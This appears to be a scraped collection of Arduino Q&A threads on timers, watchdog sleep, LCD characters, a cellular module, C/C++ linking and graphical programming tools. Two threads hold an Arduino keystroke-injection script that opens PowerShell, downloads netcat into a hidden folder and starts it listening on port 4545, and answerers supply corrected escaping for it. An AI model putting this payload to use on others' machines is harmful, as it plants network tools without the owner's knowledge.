    int old_second = read_counter() / 1000;
    int new_second;
    do {
      new_second = read_counter() / 1000;
    } while (new_second == old_second);

    // A LED blinking at 1 second intervals
    PORTB ^= 1 << LED;
  }
}

However, you may think about refactoring your timer. You can put the division in the ISR, and then set a flag if a second has past. In your waiting loop you could wait for the flag, reset it, and toggle the LED.
EDIT:
If you have your (pseudo) code like this:
while (!timed_out) {
    if (timer % ticks_per_second == 0) {
        do_something();
    }
}

you will have the following erroneous behavior, presumed that the loop runs 1 million times per second and the timer increments 20000 times per second.

The timer starts at 1000, for example, and has just incremented.
The loop runs for 50 times until the timer increments to 1001.
This happens repeatedly until the timer gets 20000, which will be after (20000 - 1001) * 50 = 949950 loops.
Now the loop will run for 50 times, while the timer is still at 20000.
The condition is true on each repetition, so do_something() will be executed 50 times in a row.
Next, the timer increments to 20001, and the condition becomes false.

This is exactly what you observe: If the condition of the if becomes true, its statement will be executed repeatedly.
Because the relation between the loop's repetition frequency and the timer's frequency is not the presumed value (but similar) and even depends on the instructions executed, the state of the output is subjectively random. If the XOR instruction is executed an even number, the LED does not change, and if it is executed an odd number, the LED changes.

i updated my code but it doesn't work right.

You still have the same error: While the while loop is running, the condition of the if will be true many times each second.  Just as a guessed number, let's say the loop runs 1 million times a second. The condition TCNT1%15624==0 will be true for about 60 times in sequence each second. Additionally, TCNT1 will overflow on 65535 to 0.

My solution:
uint16_t st_led=0;
  uint16_t et_led=0;

    while((TIFR1 & (1 << OCF1A))==0) //30 second
    {

      st_led=TCNT1;
      et_led=st_led;
      while((et_led-st_led)<=15624) //1 second
      {
        et_led=TCNT1;
      }
      PORTA ^= (1<<ledno);
    }
    TIFR1=(1<<OCF1A);
    TCCR1B=0;

If read-counter is already incremented once a millisecond, use that to time your LED flashes:
void wait_function() {
  timer_init();
  bool LED_State = LOW
  while(read_counter()<30000) { //30 second wait
    // A LED blinking at 1 second intervals ???
    if (read_counter % 1000 == 0) { //Switch 1000 to 500 here if it flashes too slowly
       LED_State = !LED_State;
       digitalWrite(LEDPin, LED_State ? HIGH : LOW);
    }
  }
}

That code will turn the LED on for one second, then off for one second, etc. (For a total cycle time of 2 seconds.) If you want the full on-off cycle to last 1 second, lower the if statement's value from 1000 to 500.


text:
Watchdog timer/deep sleep loop for Atmega 328 Pro Mini 5v 16 mhz
I have been struggling to get my Adafruit 5v pro mini to loop in deep sleep mode several times, then awake to perform something then return to the deep sleep mode loop. While it is out of deep sleep mode I want the watchdog timer to be active to protect against system hangups. Although I can get in and out of deep sleep mode easy enough, and I can also use a loop that performs one deep sleep/awake cycle. I want to maximize the power savings by having a prolonged deep sleep period of several minutes. I have read many posts related to this subject, but have not yet found a response works for me.  Attached is my code, which loops through the sleep cycle twice, but not if ISR(WDT_vect) on row 85 calls my hardwareReset() function. If my call to hardwareReset is used, my test loop on rows 25-30 times out as expected, but my waitSleep function no longer loops twice. Can anyone please offer guidance? Many thanks
// thanks to KeyChainino for basic code. I added ADC disable to further reduce power from 0.67mA to 0.54mA
//
#include <avr/interrupt.h>
#include <avr/sleep.h>
#include <avr/power.h>
#include <avr/wdt.h>
const int ledPin = 13;
const int resetPin = 9;

// the setup function runs once when you press reset or power the board
void setup() {
  pinMode(ledPin, OUTPUT);
  pinMode(resetPin, OUTPUT);
  digitalWrite(resetPin,HIGH);
  Serial.begin(9600);
  Serial.println("Resetting..");
  delay(100);
}

// the loop function runs over and over again forever
void loop() {
  digitalWrite(13, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(1000);              // wait for a second
  digitalWrite(13, LOW);    // turn the LED off by making the voltage LOW
  for(int i=0; i<9; i++){; //set up loop to force timeout of WDT
  delay(1000);
  Serial.print("Loop ");
  Serial.println(i);
  delay(100);
}
  waitSleep(2); //go sleep for x loops of WDT settings (8 sec max per loop)
}

void waitSleep(int sleep_cycles) {
  while (sleep_cycles) {
    goSleep();
    sleep_cycles--;
  }
}

void goSleep() {
  watchdogSetup(); //enable watchDog
  // disable ADC (analog to digital conversion)
  byte old_ADCSRA = ADCSRA;
  ADCSRA = 0;
  set_sleep_mode(SLEEP_MODE_PWR_DOWN);
  sleep_mode();
  //disable watchdog after sleep
  wdt_disable();
  ADCSRA = old_ADCSRA;
}

void watchdogSetup() {

  //WDP3 - WDP2 - WPD1 - WDP0 - time
  // 0      0      0      0      16 ms
  // 0      0      0      1      32 ms
  // 0      0      1      0      64 ms
  // 0      0      1      1      0.125 s
  // 0      1      0      0      0.25 s
  // 0      1      0      1      0.5 s
  // 0      1      1      0      1.0 s
  // 0      1      1      1      2.0 s
  // 1      0      0      0      4.0 s
  // 1      0      0      1      8.0 s

  // Reset the watchdog reset flag
  bitClear(MCUSR, WDRF);

 //The following bit have to be set at the same time otherwise the system doesn't set the right value

 /* Start timed equence */
 //Watchdog Change Enable to clear WD (by setting the WDCE bit) and Enable WD (by setting the WDE bit)
 WDTCSR |= (1 << WDCE) | (1 << WDE);

 //Set new watchdog timeout value to 8 seconds (WDP3 and WDP0 to 1) and enable interrupts instead of reset (WDIE to 1)
 WDTCSR = (1 << WDIE) | (1 << WDP3) | (1 << WDP0) ;
}
void hardwareReset(){;
  digitalWrite(resetPin,LOW);
}

ISR(WDT_vect) {
  //hardwareReset();
}

I'm not exactly sure what the problem is. I feel like your not fully understanding how the wachdog timer works, in conjunction with the ISR, but I may be wrong. Your loop to force timeout is called before the watchdog is setup. So this only works the second time around. Maybe you do this for testing, but I always put this in my setup function (minus the WDIE bit, that is). Remember that later on you need to call wdt_reset(); if you expect the loop the take more than 8 seconds.

If I remember correctly the WDIE bit is cleared every time the watchdog times out. So if you code hangs or sleeps for 8 seconds the ISR is called, and the WDIE bit is cleared. Then if another 8 seconds pass by, the chip is reset. Try changing  i<9 to  i<17 and see if the chip now resets itself.

I only wish I could fully understand how the watchdog timer works. I can no longer remember why I moved watchdog out of the setup. I tried so many different things. I didn't want the interrupt to fire only once, then on the next timeout perform a reset. It was my way of waking up the device with the built-in reset button, while still allowing a reset if the software hangs. Maybe I should try controlling the WDIE bit differently. I changed "i<9" to "i<17". There was no change. Thanks for the input Gerben.

I didn't want the interrupt to fire only once; you can. You just have to set the WDIE bit after each time the interrupt is called. In you case that would be, setting the WDIE bit each time the MCU goes to sleep. Maybe you could tell what it is you are trying to achieve in the end, instead of what isn't working as you expect in your piece of test-code. As I'm still not fully getting what it is you are asking/expecting.

Resetting the WDIE was the answer I was looking for. Simple. Thanks. This is to control a peristaltic bilge pump on a sailboat wintering in the water. The pump keeps the bilge bone dry, but operates continuously. Ice is a problem, so the Arduino senses temperature and will shut down the pump via a relay when it's near freezing. To conserve battery the arduino will check temp every 15 mins. I can't risk software hanging hence watchdog reset. External interrupt needed to fire up OLED if I want to read high and low saved readings. Next I will test for water flow via barometric pressure sensor.

I don't know if this is the best solution, but I found a workaround. In the ISR(WDT_vect) function I added a while statement where I added a boolean variable set to true when running the basic program, and false when I enter looping deep sleep mode. I'd appreciate if someone out there can provide a better solution, but for now this one works for me. Below is the revised code in case anyone's interested.
// thanks to KeyChainino for basic code. I added ADC disable to further reduce power from 0.67mA to 0.54mA
//revised by John Bedford 01/12/2020
#include <avr/interrupt.h>
#include <avr/sleep.h>
#include <avr/power.h>
#include <avr/wdt.h>
const int ledPin = 13;
const int resetPin = 9;
volatile boolean wdtInterrupt;    //watchdog timer interrupt flag

// the setup function runs once when you press reset or power the board
void setup() {
  pinMode(ledPin, OUTPUT);
  pinMode(resetPin, OUTPUT);
  digitalWrite(resetPin,HIGH);
  Serial.begin(9600);
  Serial.println("Resetting..");
  delay(100);
  watchdogSetup();
}

// the loop function runs over and over again forever
void loop() {
  wdtInterrupt= true;
  digitalWrite(13, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(1000);              // wait for a second
  digitalWrite(13, LOW);    // turn the LED off by making the voltage LOW
  for(int i=0; i<9; i++){; //set up loop to force timeout of WDT
    delay(1500);
    Serial.print("Loop ");
    Serial.println(i);
    delay(100);
  }
  wdt_reset();

  waitSleep(2); //go sleep for x loops of WDT settings (8 sec max per loop)
}

void waitSleep(int sleep_cycles) {
  wdtInterrupt=false;
  while (sleep_cycles) {
    goSleep();
    sleep_cycles--;
  }
}

void goSleep() {
  watchdogSetup(); //enable watchDog
  // disable ADC (analog to digital conversion)
  byte old_ADCSRA = ADCSRA;
  ADCSRA = 0;
  set_sleep_mode(SLEEP_MODE_PWR_DOWN);
  sleep_mode();
  //disable watchdog after sleep
  wdt_disable();
  ADCSRA = old_ADCSRA;
}

void watchdogSetup() {

  //WDP3 - WDP2 - WPD1 - WDP0 - time
  // 0      0      0      0      16 ms
  // 0      0      0      1      32 ms
  // 0      0      1      0      64 ms
  // 0      0      1      1      0.125 s
  // 0      1      0      0      0.25 s
  // 0      1      0      1      0.5 s
  // 0      1      1      0      1.0 s
  // 0      1      1      1      2.0 s
  // 1      0      0      0      4.0 s
  // 1      0      0      1      8.0 s

  // Reset the watchdog reset flag
  bitClear(MCUSR, WDRF);

 //The following bit have to be set at the same time otherwise the system doesn't set the right value

 /* Start timed equence */
 //Watchdog Change Enable to clear WD (by setting the WDCE bit) and Enable WD (by setting the WDE bit)
 WDTCSR |= (1 << WDCE) | (1 << WDE);

 //Set new watchdog timeout value to 8 seconds (WDP3 and WDP0 to 1) and enable interrupts instead of reset (WDIE to 1)
 WDTCSR = (1 << WDIE) | (1 << WDP3) | (1 << WDP0) ;
}
void hardwareReset(){;
  digitalWrite(resetPin,LOW);
}

ISR(WDT_vect) {
  while (wdtInterrupt){
   hardwareReset();
  }
}


text:
Why is there an extra pixel in the smiley for the Grove LCD RGB Backlight from Seeed Studio?
While testing the CustomCharacter.ino example for the Grove LCD RGB Backlight from Seeed Studio on an Arduino 101 card, there is an extra pixel that appears above an eye of the smiley and the smiley gets shifted one row down also. (see attached picture just below, with some manual changes in the library, while trying to fix the problem)

Actually, depending on the order of the characters assignments, the smiley is finally displayed correctly, such as in the following minimal working example, where the two createChar() assignments have been swapped (1 is before 0) and both smileys are displayed correctly:
#include <Wire.h>
#include "rgb_lcd.h"

rgb_lcd lcd;

byte smiley[8] = {
    0b00000,
    0b00000,
    0b01010,
    0b00000,
    0b00000,
    0b10001,
    0b01110,
    0b00000
};

void setup()
{
    lcd.begin(16, 2);
    lcd.createChar(1, smiley);
    lcd.createChar(0, smiley);
    lcd.setCursor(0, 0);
    lcd.write((unsigned char)0);
    lcd.write(1);
}

void loop() {}

If I happen to put lcd.createChar(0, smiley); back before lcd.createChar(1, smiley);, the error (the shift in the pixels rows + the extra activated pixel) occurs again for the second smiley.
Could anybody explain why this actually happens and, hopefully, give some way to fix the display?

There is an additional pixel row above the pattern you defined, and the last row is missing. You seem to have a one-off error in your code.

@thebusybee: Indeed! I did not spot that fact. I could not tell why that self-defined character is not displayed properly. I have checked the "frownie" character at the same location, for example, and that one is displayed correctly.

If the shown code reproduces the issue (the display does not match the code), then I'd say the library is faulty. Their initialization code looks wrong to me. You might want to correct it, do some research.

OK. The setup() function showed here is an adaptation of mine of the one original one in CustomCharacter.ino.

Well, I mean rgb_lcd::begin(). Such HD44780 compatible displays should to be initialized to 8-bit mode first. But it seems as if the method doesn't do this. However, as the LCD apparently is initialized, this has no consequences. But it is a smell about the quality of the library. -- The method rgb_lcd::createChar() looks OK. -- I would try to go one level deeper and bypass the library, using I²C directly to gain maximum control. -- What does the display show with your simplified program, both cases: 0 before 1, and 1 before 0? Are both smileys correct or wrong?

With the "1/0 order" for rgb_lcd::createChar(), both smileys are displayed correctly. Whereas, with the "0/1 order", the second one is displayed with the problems spotted before.

That is strange. The next step I would take is to insert some debugging messages over the serial line, just to watch rgb_lcd::createChar() doing its job correctly. Would you mind to try this? -- Alternatively, I would look into the generated assembly code just to be sure that it is correct. But this needs some expertise. -- Oh, and please [edit] your question to add the new information. New visitors will not necessarily read the comments down here.


text:
How to use Sim7020_mini NB-IOT module

I bough Sim7020_mini module. I put IOT Sim card, and plug-in antenna,
connect Rx,Tx into USB-TTL, then put supply into VIN (5 volt), LED
power was lid on. Arduino Serial Monitor set into 115200, but no
character appear, also I enter AT, no answer. I already making sure my
wiring. Measuring STATUS pin 42 showing 1.8 volt, means not active.
Schematic look like wrong, according to sim7020 Hardware design v1.02,
to put SIM7020 to On we should give LOW pulse 1 second into PWRKEY.
But STATUS pin still 1.8 volt.
May anyone has successful using this such module? Any clue?

First question about using SIM7020_mini Module
Thank you @hcheung for clue about 1.8 volt.
The SIM7020_mini module already equipped with logic level shifter between 1.8v and 3.3v.
I know SIM 7020C already Up, pin STATUS (42) is HIGH, pin NETLIGHT (41) blinking.
Here is my schematic, I just want to enter AT Command first. But on my Serial Monitor (Arduino) doesn't show any character received.

simulate this circuit – Schematic created using CircuitLab
When I type 'AT' it's echoed back to screen Serial Monitor. When I reverse Tx/Rx between SIM7020_mini module and USB-TTL, no character echoed. When I restart SIM7020_mini module, there is no character received by Serial Monitor.

Can you provide a picture of all the header pins naming? or a link to where you purchase the module?

Pin Header 1: VIN, GND, PCE, GIO1, RESET, TXD, RXD
Pin Header 2: VBAT, GND, DTR, RI, RGIO0, EINT, DET
SIM7020_mini module

VBAT: Lithium battery input positive 3.7-4. 2V
GND: Lithium battery input negative
DTR: Control module sleep and wake up
RI: Ringing indicator
RTC_GPI0O: PSM mode indication, before and after entering PSM mode, the pin changes from high to low
RTC_EINT: wake up from PSM mode, when this pin changes from high to low, exit PSM mode
SIM DET: SIM card insertion detect
VIN: Power input positive 5V (1A)
GND: negative power
PCE: Power enable control
GPI01: General purpose input/output port
RESET: reset control
TXD: Serial transmission
RXD: serial receiver

My fault, AT command on Serial Monitor (Arduino IDE) should be ending with Carriage Return, while my Serial Monitor using New Line
Thank you for responses.


text:
Working on Binary code with arduino
i have a BGM113 bluetooth module that sends messages as binary form. I have to work on each bit separately. i am not sure about Serial.read() gets it as binary but when i am trying to see at on the serial port screen with Serial.println(Serial.read(), BIN) it shows me as string something like []...[]
What should i do ?

A byte is 8 bits. You can use "bit manipulation" to extract or set single bits. A very good tutorial here: (http://www.avrfreaks.net/forum/tut-c-bit-manipulation-aka-programming-101?page=all)

There is a difference between binary form and base 2 (BIN) number conversion.

Serial.read() reads a byte (8 bits) so you should receive 8 bits at a time.  If there is some form of flow control then you might just get 1 bit.  It looks like you are not getting any bits so check your code is waiting until data is available.


text:
teensyduino with teensy LC: cannot include multiple files in sketch
I'm trying to get a rather large sketch working with a teensy LC.  I'd like to break it into headers and C files, but the multi-file sketch fails to compile.  When I put everything into a single, monolithic sketch, it runs fine.  I've #included the h files where they are needed, using single quotes, and have confirmed that my h files are in the same folder as my sketch.  Is there an additional step to go through specific to teensy?  I've managed to do this tons of times using a standard arduino.
Here is a basic sketch:
This is the main sketch file:
   #include "tst.h"
void setup() {
  // put your setup code here, to run once:

}

void loop() {
  // put your main code here, to run repeatedly:
  doNothing();
}

This is tst.h
void doNothing();

This is tst.c
#include "tst.h"
void doNothing()
{
  int i = 0;
}

I get the  error "undefined reference to doNothing() in function loop"

Could you provide source code and compilation errors ? I have created a small test with Arduino 1.6.13 + Teensyduino 1.33 with a mylib.cpp/mylib.h in the same folder as .INO file and after selecting "Teensy LC" device no problem detected to compile and link.

My source code is quite long.  I am using C, not c++.  Would that matter?  If I have time soon I'll make a trial sketch with just a few small functions to test and upload.

No problem, take your time to create a minimal source code. When you say "I am using C, not c++", did you  use a ".c" file instead of ".cpp" ?

Yes, that's right.  I have three files, the main sketch, one *.h file, and one *.c file

I've edited the post to include a minimal sketch. I wonder, is the a build order setting I'm missing?

So, the first and easiest solution is to rename your "test.c" file to "test.cpp". This is the default extension expected by the C++ compiler used by Arduino IDE.

Are all the *.c files opened (show up in the tabs near the top of the window) in the Arduino SDK when you compile?

Even if the "test.c" and the "test.h" appear on the top, the "test.c" seems to be compiled "mylib.c.o" and the doNothing is present inside. But the  error is always UsingCpp.ino:14: undefined reference to 'doNothing()'.

Yes, they are all part of the sketch and are tabs at the top. @J.Piquard: do you see the same errors?

I duplicated your error (guessing you called the 1st file "tst.ino") using Arduino 1.8.0.  @J.Piquard suggestion appears correct, you need to use the *.cpp extension.

Yes, that fixed it handily.  I wonder why, though? I was under the impression that Arduino used C, with a bunch of cpp functionality added in through emulation of some sort.  I guess I'm wrong, obviously :-P

I get the error "undefined reference to doNothing() in function loop"

The C++ compiler cannot find doNothing(). This is mainly due to the incomplete header file and mix of C and C++.
Two things are needed to avoid this type of problem; 1) protect the file from multiple includes (in the same compile), 2) make the function visible to the C++ compiler as a C function (without name mangling).
tst.h:
#ifndef TST_H
#define TST_H

#ifdef __cplusplus
extern "C"{
#endif

void doNothing();

#ifdef __cplusplus
} // extern "C"
#endif
#endif

Cheers!

I admit I'm still learning c++, but why is my function not c++?

The build rules for files with the extension .c will use the c-compiler (gcc). If you rename the file and use the extension .cpp the build rules will use the c++-compiler.

Oh, yes I see.  So the function itself was not strictly c, but the fact that it was in A C file was the problem?

Correct! If you had used overloading, reference parameters, classes, etc (i.e. a language difference) then the C-compiler would have flagged an error. Now actually the linker flags the error as the C function does not have the same compiled name (aka manged name) as the C++ function.


text:
Printing multiple double qoutes in print statement
I'm trying to print multiple quotes in a Keyboard.print() function but when i try to escape the character with \ at  $output =\"$HOME\Misc\nc.zip\"" and the string does not get recognized by the ide. Usually when the ide knows it's a string it highlights the text in blue, it does not do that for $output and after $output. How can I print the whole string including all the double quotes within the string?
Keyboard.print("\"cd $HOME\""; $folder=mkdir \"Misc\""; $folder; $url=\"https://test.org/cc.zip\""; $output =\"$HOME\Misc\nc.zip\""; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\Misc\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\Misc\").CopyHere($item)}"):

What is your question? Your post looks like a bug report for Arduino IDE; if so, post it as an issue to https://github.com/arduino/Arduino/issues

How can I print the whole string including the quotes.  @jfpoilpret

What is the exact sequence of characters that you want to send to the keyboard? From that, we can show you how to properly escape it. As I see in your sample code, your escaping looks incorrect in several palces, in particular, almost everywhere you used \"" where you should have used \" only.

I don't understand what you mean by sequence, I just want to print this string this is without any messy escaping quotes  Keyboard.print("cd  "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 > incoming.txt");

but when I only use one double quote at the end it stops at $output the rest doest not  get recognized as a string.

Don't cross post.

It seems you used \"" instead of only \" in several locations of this string. Also, since the string you want to send already includes the escape \ character, it must iself be escaped \\.
If the command you want to send to keyboard is:

cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 > incoming.txt

Then you should escape it as follows:
"cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)} \".\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt"


text:
Why does Keyboard.Print adds random values to url?
I'm trying to print a sequence of power shell commands including a url to the powershell interpreter but every time I execute it with the Arduino Micro it adds random values to the url. Here's the normal print statement.
Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
    typeKey(KEY_RETURN);

I'm passing this link https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip to a variable called $url and here is the actual output when the command executes
  cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip"); foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)

notice how the $url now has random values in them?
https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip

Also If you try copying and pasting the url I posted above on a browser, the url doesn't work. But if you go to https://eternallybored.org/misc/netcat/ and copy link location of netcat 1.11 which is the same url and paste it. The url works...
I don't understand why this is happening any thoughts?
Full code
void typeKey(int key) {

  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */

void setup() {
  //Beging Keyboard Stream
  Keyboard.begin();
  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  delay(4000);
  Keyboard.press('r');
  delay(4000);

  Keyboard.releaseAll();

  delay(1000);

  Keyboard.print("powershell");

  typeKey(KEY_RETURN);

    delay(1000);
    Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
    typeKey(KEY_RETURN);

    Keyboard.end();
}
    void loop() {
    }

Presumably there's a problem. But since you don't provide your code or circuit, I doubt anyone will be able to divine what it is.

the code is in the question and that's all the program does prints that line. I guess I can add the init functions. @MarkSmith

Sorry, are you saying going to https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip in a browser works?

If you go to https://eternallybored.org/misc/netcat and copy link from netcat-1.11 the link is https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip and it works if I copy link and paste but if I don't copy link and just paste that link on the browser it does not work.

You have some unicode characters in your URL. Remove them.
https://eternallybored.org/misc/netcat/netcat-win32-1.<200c><200b>11.zip
                                                      ^^^^^^^^^^^^

I'm not the owner of the website, so that means I can't download the owners links with powershell?

@Francesc You misunderstand me. In your sketch. YOUR code. You have managed to add, somehow, some extra UNICODE characters.

in my sketch the URL is https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip when I execute my sketch I get a response with this https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip

Yes, that is exactly what I am saying. Although you may not be able to notice it here. I suggest you go to view the source of this web page and look at precisely what you have just pasted into the comment box just now. You will plainly see the extra unicode characters there. You keep copying and pasting the SAME corrupted URL. If you want to fix it then delete the URL from your code and type it in by hand. DO NOT COPY AND PASTE AGAIN, IT IS CORRUPT!


text:
Graphical programing language for Arduino
I am looking for a graphical programming language for a project of mine, where I am using an Arduino.
It HAS to meet the following conditions:

It supports uploaing sketches to ATmega328 (Arduino Uno/Nano)
New functions can be defined inside the programming enviroment (I am trying to use a motor connected to an H-bridge with a single command block)
The program can run on Windows 7
Libraries can be used inside the code
C++ can also be used to write the code inside the same program
Sketches can be uploaded via Bluetooth 4.0

It would be nice if it met the following condition:

The programming enviroment is easy to use
The graphical programming language is somewhat similar to Scratch
The program can be understood by 10-14 year olds with no programming experience

There is a Scratch extension for Arduino.  I have not used it and I do not know if it satisfies all of your criteria.  http://playground.arduino.cc/Interfacing/Scratch

The most full featured Scratch-like environment for Arduino, to my knowledge that is close to your listed criteria is http://www.mblock.cc/
It's currently in beta development for enabling bluetooth uploads and supports a range of "extension" plugins.  I believe you can also add functionality by writing your own extensions if you have sufficient programming knowledge.
The software has more features if you use their mblock hardware, while offering a reduced set of commands for other boards such as the Uno.

I'm sure you can add library's to your code but at the expense of the scratch-like interface.  A children's visual design tool being able to provide graphical API to libraries written by an open source community is quite a coding challenge.  You can get a feel for this by trying to use any reverse engineering C++ to UML diagram tools.
I recommend perhaps using one of these scratch tools to build simple firmware as a learning tool with the idea of progressing to an actual programming language soon after.
In any case I hope you find what you're looking for among these options for your project.

http://www.mblock.cc/
http://s4a.cat/
http://blog.minibloq.org/p/documentation.html
http://blog.ardublock.com/engetting-started-ardublockzhardublock/
https://www.visuino.com/

Give Visuino a look, they are making noise lately: https://www.visuino.com/

Can you add extensions to it or define functions?